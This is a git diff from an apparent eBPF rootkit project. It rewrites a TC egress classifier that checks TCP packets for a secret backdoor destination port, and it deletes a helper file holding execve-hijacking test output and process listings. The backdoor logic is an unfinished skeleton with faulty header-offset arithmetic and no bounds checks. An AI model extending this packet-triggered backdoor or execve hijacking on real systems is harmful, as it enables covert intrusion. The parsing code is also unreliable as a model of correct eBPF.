diff --git a/src/ebpf/include/bpf/tc.c b/src/ebpf/include/bpf/tc.c index 25ff7fa..ece886f 100644 --- a/src/ebpf/include/bpf/tc.c +++ b/src/ebpf/include/bpf/tc.c @@ -1,39 +1,49 @@ #include -#include #include +#include +#include +#include +#include #include #include #include - -struct pkt_ctx_t { - struct cursor *c; - struct ethhdr *eth; - struct iphdr *ipv4; - struct tcphdr *tcp; - struct udphdr *udp; - struct http_req_t *http_req; -}; +#include "../../../common/constants.h" SEC("classifier/egress") int classifier(struct __sk_buff *skb){ - void *data_end = (void *)(unsigned long long)skb->data_end; - void *data = (void *)(unsigned long long)skb->data; - struct ethhdr *eth = data; - bpf_printk("Heey\n"); - if (data + sizeof(struct ethhdr) > data_end) - return TC_ACT_SHOT; - - if (eth->h_proto == ___constant_swab16(ETH_P_IP)) - /* - * Packet processing is not implemented in this sample. Parse - * IPv4 header, possibly push/pop encapsulation headers, update - * header fields, drop or transmit based on network policy, - * collect statistics and store them in a eBPF map... - */ - return 0;//process_packet(skb); - else + void *data = (void *)(__u64)skb->data; + void *data_end = (void *)(__u64)skb->data_end; + bpf_printk("TC egress classifier called\n"); + + //We are interested on parsing TCP/IP packets so let's assume we have one + //Ethernet header + struct ethhdr *eth_hdr = data; + if(eth_hdr->h_proto != htons(ETH_P_IP)){ + //Not an IP packet return TC_ACT_OK; + } + + //IP header + struct iphdr *ip_hdr = (struct iphdr*)data + sizeof(struct ethhdr); + if(ip_hdr->protocol != IPPROTO_TCP){ + return TC_ACT_OK; + } + + //TCP header + struct tcphdr *tcp_hdr = (struct tcphdr *)data + sizeof(struct ethhdr) + sizeof(struct iphdr); + + //We now proceed to scan for our backdoor packets + + __u16 dest_port = ntohs(tcp_hdr->dest); + if(dest_port != SECRET_PACKET_DEST_PORT){ + return TC_ACT_OK; + } + + + + return TC_ACT_OK; + } char _license[4] SEC("license") = "GPL"; \ No newline at end of file diff --git a/src/helpers/bash b/src/helpers/bash deleted file mode 100644 index e69de29..0000000 diff --git a/src/helpers/echo b/src/helpers/echo deleted file mode 100644 index 38e17c9..0000000 --- a/src/helpers/echo +++ /dev/null @@ -1,406 +0,0 @@ -exec -a ./execve_hijack /usr/bin/ls -l -a -exec -a ./execve_hijack /usr/bin/ls -l -a -total 84 -drwxrwxr-x 3 osboxes osboxes 4096 Apr 13 07:00 . -drwxrwxr-x 12 osboxes osboxes 4096 Apr 13 06:24 .. --rw-rw-r-- 1 osboxes osboxes 0 Apr 13 06:59 bash --rw-rw-r-- 1 osboxes osboxes 84 Apr 13 06:59 echo --rwxrwxr-x 1 osboxes osboxes 42016 Apr 13 06:58 execve_hijack --rw-rw-r-- 1 osboxes osboxes 5648 Apr 13 06:58 execve_hijack.c --rw-rw-r-- 1 osboxes osboxes 8872 Apr 13 06:58 execve_hijack.o -drwxrwxr-x 2 osboxes osboxes 4096 Feb 18 03:11 lib --rw-rw-r-- 1 osboxes osboxes 329 Apr 11 05:54 Makefile -Hello world from execve hijacker -Argument 0 is ./execve_hijack -Argument 1 is , -hijacking ARGS0: , -hijacking ARGS1: , -hijacking ARGS2: (null) -Hello world from execve hijacker -Argument 0 is ./execve_hijack -Argument 1 is -l -Argument 2 is -a -hijacking ARGS0: -l -hijacking ARGS1: -l -hijacking ARGS2: -a -hijacking ARGS3: (null) - PID TTY TIME CMD - 250918 pts/8 00:00:00 bash - 251961 pts/8 00:00:00 bash - 252541 pts/8 00:00:00 ps -USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND -root 1 0.0 0.1 166252 7748 ? Ss Apr10 0:10 /sbin/init splash -root 2 0.0 0.0 0 0 ? S Apr10 0:00 [kthreadd] -root 3 0.0 0.0 0 0 ? I< Apr10 0:00 [rcu_gp] -root 4 0.0 0.0 0 0 ? I< Apr10 0:00 [rcu_par_gp] -root 6 0.0 0.0 0 0 ? I< Apr10 0:00 [kworker/0:0H-events_highpri] -root 9 0.0 0.0 0 0 ? I< Apr10 0:00 [mm_percpu_wq] -root 10 0.0 0.0 0 0 ? S Apr10 0:00 [rcu_tasks_rude_] -root 11 0.0 0.0 0 0 ? S Apr10 0:00 [rcu_tasks_trace] -root 12 0.0 0.0 0 0 ? S Apr10 0:01 [ksoftirqd/0] -root 13 0.0 0.0 0 0 ? I Apr10 1:59 [rcu_sched] -root 14 0.0 0.0 0 0 ? S Apr10 0:01 [migration/0] -root 15 0.0 0.0 0 0 ? S Apr10 0:00 [idle_inject/0] -root 16 0.0 0.0 0 0 ? S Apr10 0:00 [cpuhp/0] -root 17 0.0 0.0 0 0 ? S Apr10 0:00 [cpuhp/1] -root 18 0.0 0.0 0 0 ? S Apr10 0:00 [idle_inject/1] -root 19 0.0 0.0 0 0 ? S Apr10 0:01 [migration/1] -root 20 0.0 0.0 0 0 ? S Apr10 0:01 [ksoftirqd/1] -root 22 0.0 0.0 0 0 ? I< Apr10 0:00 [kworker/1:0H-events_highpri] -root 23 0.0 0.0 0 0 ? S Apr10 0:00 [cpuhp/2] -root 24 0.0 0.0 0 0 ? S Apr10 0:00 [idle_inject/2] -root 25 0.0 0.0 0 0 ? S Apr10 0:01 [migration/2] -root 26 0.0 0.0 0 0 ? S Apr10 0:01 [ksoftirqd/2] -root 28 0.0 0.0 0 0 ? I< Apr10 0:00 [kworker/2:0H-events_highpri] -root 29 0.0 0.0 0 0 ? S Apr10 0:00 [cpuhp/3] -root 30 0.0 0.0 0 0 ? S Apr10 0:00 [idle_inject/3] -root 31 0.0 0.0 0 0 ? S Apr10 0:01 [migration/3] -root 32 0.0 0.0 0 0 ? S Apr10 0:01 [ksoftirqd/3] -root 34 0.0 0.0 0 0 ? I< Apr10 0:00 [kworker/3:0H-events_highpri] -root 35 0.0 0.0 0 0 ? S Apr10 0:00 [kdevtmpfs] -root 36 0.0 0.0 0 0 ? I< Apr10 0:00 [netns] -root 37 0.0 0.0 0 0 ? I< Apr10 0:00 [inet_frag_wq] -root 38 0.0 0.0 0 0 ? S Apr10 0:00 [kauditd] -root 39 0.0 0.0 0 0 ? S Apr10 0:00 [khungtaskd] -root 40 0.0 0.0 0 0 ? S Apr10 0:00 [oom_reaper] -root 41 0.0 0.0 0 0 ? I< Apr10 0:00 [writeback] -root 42 0.0 0.0 0 0 ? S Apr10 0:08 [kcompactd0] -root 43 0.0 0.0 0 0 ? SN Apr10 0:00 [ksmd] -root 44 0.0 0.0 0 0 ? SN Apr10 0:00 [khugepaged] -root 90 0.0 0.0 0 0 ? I< Apr10 0:00 [kintegrityd] -root 91 0.0 0.0 0 0 ? I< Apr10 0:00 [kblockd] -root 92 0.0 0.0 0 0 ? I< Apr10 0:00 [blkcg_punt_bio] -root 93 0.0 0.0 0 0 ? I< Apr10 0:00 [tpm_dev_wq] -root 94 0.0 0.0 0 0 ? I< Apr10 0:00 [ata_sff] -root 95 0.0 0.0 0 0 ? I< Apr10 0:00 [md] -root 96 0.0 0.0 0 0 ? I< Apr10 0:00 [edac-poller] -root 97 0.0 0.0 0 0 ? I< Apr10 0:00 [devfreq_wq] -root 99 0.0 0.0 0 0 ? S Apr10 0:00 [watchdogd] -root 102 0.0 0.0 0 0 ? I< Apr10 0:04 [kworker/1:1H-kblockd] -root 104 0.0 0.0 0 0 ? S Apr10 0:34 [kswapd0] -root 105 0.0 0.0 0 0 ? S Apr10 0:00 [ecryptfs-kthrea] -root 107 0.0 0.0 0 0 ? I< Apr10 0:00 [kthrotld] -root 108 0.0 0.0 0 0 ? I< Apr10 0:00 [acpi_thermal_pm] -root 109 0.0 0.0 0 0 ? S Apr10 0:00 [scsi_eh_0] -root 110 0.0 0.0 0 0 ? I< Apr10 0:00 [scsi_tmf_0] -root 111 0.0 0.0 0 0 ? S Apr10 0:00 [scsi_eh_1] -root 112 0.0 0.0 0 0 ? I< Apr10 0:00 [scsi_tmf_1] -root 114 0.0 0.0 0 0 ? I< Apr10 0:00 [vfio-irqfd-clea] -root 116 0.0 0.0 0 0 ? I< Apr10 0:00 [ipv6_addrconf] -root 117 0.0 0.0 0 0 ? I< Apr10 0:03 [kworker/0:1H-kblockd] -root 126 0.0 0.0 0 0 ? I< Apr10 0:00 [kstrp] -root 129 0.0 0.0 0 0 ? I< Apr10 0:00 [zswap-shrink] -root 130 0.0 0.0 0 0 ? I< Apr10 0:00 [kworker/u9:0] -root 135 0.0 0.0 0 0 ? I< Apr10 0:00 [charger_manager] -root 185 0.0 0.0 0 0 ? I< Apr10 0:05 [kworker/3:1H-kblockd] -root 187 0.0 0.0 0 0 ? S Apr10 0:00 [scsi_eh_2] -root 188 0.0 0.0 0 0 ? I< Apr10 0:00 [scsi_tmf_2] -root 190 0.0 0.0 0 0 ? I< Apr10 0:10 [kworker/2:1H-kblockd] -root 222 0.0 0.0 0 0 ? S Apr10 0:03 [jbd2/sda1-8] -root 223 0.0 0.0 0 0 ? I< Apr10 0:00 [ext4-rsv-conver] -root 293 0.0 0.0 23716 2576 ? Ss Apr10 0:00 /lib/systemd/systemd-udevd -root 294 0.0 0.0 0 0 ? S Apr10 0:22 [irq/18-vmwgfx] -root 295 0.0 0.0 0 0 ? I< Apr10 0:00 [ttm_swap] -root 296 0.0 0.0 0 0 ? S Apr10 0:00 [card0-crtc0] -root 297 0.0 0.0 0 0 ? S Apr10 0:00 [card0-crtc1] -root 298 0.0 0.0 0 0 ? S Apr10 0:00 [card0-crtc2] -root 299 0.0 0.0 0 0 ? S Apr10 0:00 [card0-crtc3] -root 300 0.0 0.0 0 0 ? S Apr10 0:00 [card0-crtc4] -root 301 0.0 0.0 0 0 ? S Apr10 0:00 [card0-crtc5] -root 302 0.0 0.0 0 0 ? S Apr10 0:00 [card0-crtc6] -root 303 0.0 0.0 0 0 ? S Apr10 0:00 [card0-crtc7] -root 309 0.0 0.0 0 0 ? S< Apr10 0:00 [loop0] -root 323 0.0 0.0 0 0 ? S< Apr10 0:00 [loop1] -root 341 0.0 0.0 0 0 ? S< Apr10 0:00 [loop2] -root 342 0.0 0.0 0 0 ? S< Apr10 0:00 [loop3] -root 353 0.0 0.0 0 0 ? S< Apr10 0:00 [loop4] -root 354 0.0 0.0 0 0 ? S< Apr10 0:00 [loop5] -root 355 0.0 0.0 0 0 ? S< Apr10 0:00 [loop6] -root 361 0.0 0.0 0 0 ? S< Apr10 0:00 [loop7] -root 363 0.0 0.0 0 0 ? I< Apr10 0:00 [iprt-VBoxWQueue] -root 385 0.0 0.0 0 0 ? S< Apr10 0:00 [loop8] -root 390 0.0 0.0 0 0 ? I< Apr10 0:00 [cryptd] -root 477 0.0 0.0 0 0 ? S< Apr10 0:00 [loop9] -root 558 0.0 0.0 0 0 ? S< Apr10 0:00 [loop10] -root 587 0.0 0.0 0 0 ? S< Apr10 0:00 [loop11] -root 588 0.0 0.0 0 0 ? S< Apr10 0:00 [loop12] -root 591 0.0 0.0 0 0 ? S< Apr10 0:00 [loop14] -root 593 0.0 0.0 0 0 ? S Apr10 0:08 [jbd2/sda4-8] -root 594 0.0 0.0 0 0 ? I< Apr10 0:00 [ext4-rsv-conver] -systemd+ 616 0.0 0.0 24760 3936 ? Ss Apr10 0:09 /lib/systemd/systemd-resolved -systemd+ 617 0.0 0.0 88452 2308 ? Ssl Apr10 0:00 /lib/systemd/systemd-timesyncd -root 644 0.0 0.0 249148 3568 ? Ssl Apr10 0:05 /usr/lib/accountsservice/accounts-daemon -root 645 0.0 0.0 2556 640 ? Ss Apr10 0:09 /usr/sbin/acpid -avahi 648 0.0 0.0 7388 1876 ? Ss Apr10 0:00 avahi-daemon: running [osboxes.local] -root 649 0.0 0.0 18128 1820 ? Ss Apr10 0:01 /usr/sbin/cron -f -P -message+ 650 0.0 0.0 10940 4328 ? Ss Apr10 0:31 @dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only -root 652 0.0 0.1 493716 7728 ? Ssl Apr10 0:40 /usr/sbin/NetworkManager --no-daemon -root 659 0.0 0.0 82848 2464 ? Ssl Apr10 0:07 /usr/sbin/irqbalance --foreground -root 663 0.0 0.0 48180 3148 ? Ss Apr10 0:00 /usr/bin/python3 /usr/bin/networkd-dispatcher --run-startup-triggers -root 664 0.0 0.1 251896 7664 ? Ssl Apr10 0:06 /usr/libexec/polkitd --no-debug -root 680 0.0 0.0 245860 3420 ? Ssl Apr10 0:00 /usr/libexec/power-profiles-daemon -syslog 685 0.0 0.0 221216 2216 ? Ssl Apr10 0:03 /usr/sbin/rsyslogd -n -iNONE -root 688 0.0 0.0 245672 3180 ? Ssl Apr10 0:00 /usr/libexec/switcheroo-control -root 689 0.0 0.0 22140 4056 ? Ss Apr10 0:01 /lib/systemd/systemd-logind -root 690 0.0 0.0 394264 5620 ? Ssl Apr10 0:00 /usr/libexec/udisks2/udisksd -root 692 0.0 0.0 14740 1176 ? Ss Apr10 0:01 /sbin/wpa_supplicant -u -s -O /run/wpa_supplicant -avahi 697 0.0 0.0 7252 136 ? S Apr10 0:00 avahi-daemon: chroot helper -root 745 0.0 0.0 316740 3448 ? Ssl Apr10 0:00 /usr/sbin/ModemManager -root 800 0.0 0.0 126288 3336 ? Ssl Apr10 0:00 /usr/bin/python3 /usr/share/unattended-upgrades/unattended-upgrade-shutdown --wait-for-signal -whoopsie 826 0.0 0.0 328480 5412 ? Ssl Apr10 0:00 /usr/bin/whoopsie -f -kernoops 827 0.0 0.0 13528 112 ? Ss Apr10 0:00 /usr/sbin/kerneloops --test -kernoops 829 0.0 0.0 13528 136 ? Ss Apr10 0:00 /usr/sbin/kerneloops -root 1017 0.0 0.0 370556 1584 ? Sl Apr10 0:32 /usr/sbin/VBoxService --pidfile /var/run/vboxadd-service.sh -root 1028 0.0 0.0 250400 3648 ? Ssl Apr10 0:00 /usr/sbin/gdm3 -rtkit 1057 0.0 0.0 153848 1856 ? SNsl Apr10 0:03 /usr/libexec/rtkit-daemon -root 1138 0.0 0.0 258424 3556 ? Ssl Apr10 0:02 /usr/libexec/upowerd -root 1227 0.0 0.0 307228 4772 ? Ssl Apr10 0:01 /usr/libexec/packagekitd -colord 1364 0.0 0.0 254356 5076 ? Ssl Apr10 0:00 /usr/libexec/colord -root 1429 0.0 0.0 180024 4740 ? Sl Apr10 0:00 gdm-session-worker [pam/gdm-password] -osboxes 1434 0.0 0.0 16300 5664 ? Ss Apr10 0:02 /lib/systemd/systemd --user -osboxes 1435 0.0 0.0 102744 312 ? S Apr10 0:00 (sd-pam) -osboxes 1441 0.0 0.0 90680 1908 ? S